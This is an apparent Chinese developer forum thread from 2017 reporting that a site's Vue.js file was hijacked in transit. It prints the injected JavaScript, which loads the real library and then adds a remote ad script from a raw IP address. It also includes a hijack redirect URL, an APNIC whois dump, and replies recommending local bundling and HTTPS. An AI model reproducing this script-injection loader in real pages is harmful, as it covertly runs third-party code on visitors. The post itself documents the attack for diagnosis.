偶尔刷新,发现报错说 Vue 错误找不到,这明显不可能嘛,一查,发现 Vue.js 被替换了,点进去看还有源代码!
(function() {
o = "http://xxxxxxxxxxxxx/vue2.5.3/vue.min.js?";
sh = "http://175.6.223.15:9901/main.js?v=3.95&sp=4303&ty=dpc";
w = window;
d = document;
function ins(s, dm, id) {
e = d.createElement("script");
e.src = s;
e.type = "text/javascript";
id ? e.id = id : null;
dm.appendChild(e);
}
;p = d.scripts[d.scripts.length - 1].parentNode;
ins(o, p);
ds = function() {
db = d.body;
if (db && !document.getElementById("bdstat")) {
if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {
if (w.top == w.self) {
ins(sh, db, "bdstat");
}
}
} else {
setTimeout("ds()", 1500);
}
}
;
ds();
}
)();
var mim_params = {
'sp': '4303',
'aid': '11982',
'sda_man': '',
'src': '0',
'adtype': '18',
'uid': 'VCpdXydAXCotUlNNKytcWF07LlxaWlJPLF1cKSQ/LyksLlRLKy1ZXQ==',
'spid': 'hljunicom',
'ad_list': '11982'
};
还偶尔被别的替换掉
http://124.232.160.178/v1/?p=www.xxxxxxx.com.cn%2fzzzz%2fticket20171101%2fzzzzz%2fvue2.5.3%2fvue.min.js&t=18000001
妈的真缺德,现在连 js 都被劫持了
看了下 whois
WHOIS Results for:175.6.223.15
% [whois.apnic.net]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html
% Information related to \'175.0.0.0 - 175.15.255.255\'
% Abuse contact for \'175.0.0.0 - 175.15.255.255\' is \'[email protected]\'
inetnum: 175.0.0.0 - 175.15.255.255
netname: CHINANET-HN
descr: CHINANET HUNAN PROVINCE NETWORK
descr: China Telecom
descr: No.31,jingrong street
descr: Beijing 100032
country: CN
status: ALLOCATED PORTABLE
admin-c: CH93-AP
tech-c: CH636-AP
remarks: service provider
remarks: --------------------------------------------------------
remarks: To report network abuse, please contact mnt-irt
remarks: For troubleshooting, please contact tech-c and admin-c
remarks: Report invalid contact via www.apnic.net/invalidcontact
remarks: --------------------------------------------------------
mnt-by: APNIC-HM
mnt-lower: MAINT-CHINANET-HN
last-modified: 2016-05-04T00:20:50Z
source: APNIC
mnt-irt: IRT-CHINANET-CN
irt: IRT-CHINANET-CN
address: No.31 ,jingrong street,beijing
address: 100032
e-mail: [email protected]
abuse-mailbox: [email protected]
admin-c: CH93-AP
tech-c: CH93-AP
auth: # Filtered
mnt-by: MAINT-CHINANET
last-modified: 2010-11-15T00:31:55Z
source: APNIC
role: CHINANET HUNAN
address: No.1 TuanJie road,ChangSha,Hunan 410005
country: CN
phone: +86 731 4792092
fax-no: +86 731 4792007
e-mail: [email protected]
remarks: send spam reports to [email protected]
remarks: and abuse reports to [email protected]
remarks: Please include detailed information and
remarks: times in UTC
admin-c: CH632-AP
tech-c: CS499-AP
nic-hdl: CH636-AP
mnt-by: MAINT-CHINANET-HN
last-modified: 2014-02-12T08:30:53Z
source: APNIC
person: Chinanet Hostmaster
nic-hdl: CH93-AP
e-mail: [email protected]
address: No.31 ,jingrong street,beijing
address: 100032
phone: +86-10-58501724
fax-no: +86-10-58501724
country: CN
mnt-by: MAINT-CHINANET
last-modified: 2014-02-27T03:37:38Z
source: APNIC
% This query was served by the APNIC Whois Service version 1.88.15-43 (WHOIS-NODE2)
麻痹!
1
CDL 2017-11-07 19:36:35 +08:00
那就直接 webpage 整个打包
|
4
wenzhoou 2017-11-08 12:20:08 +08:00 via Android
怎么被劫持的呢?
|
5
sothx 2018-02-08 10:48:48 +08:00 via iPhone
拖到本地
|
8
sothx 2018-02-08 20:24:03 +08:00 via iPhone
同时上 HTTPS
|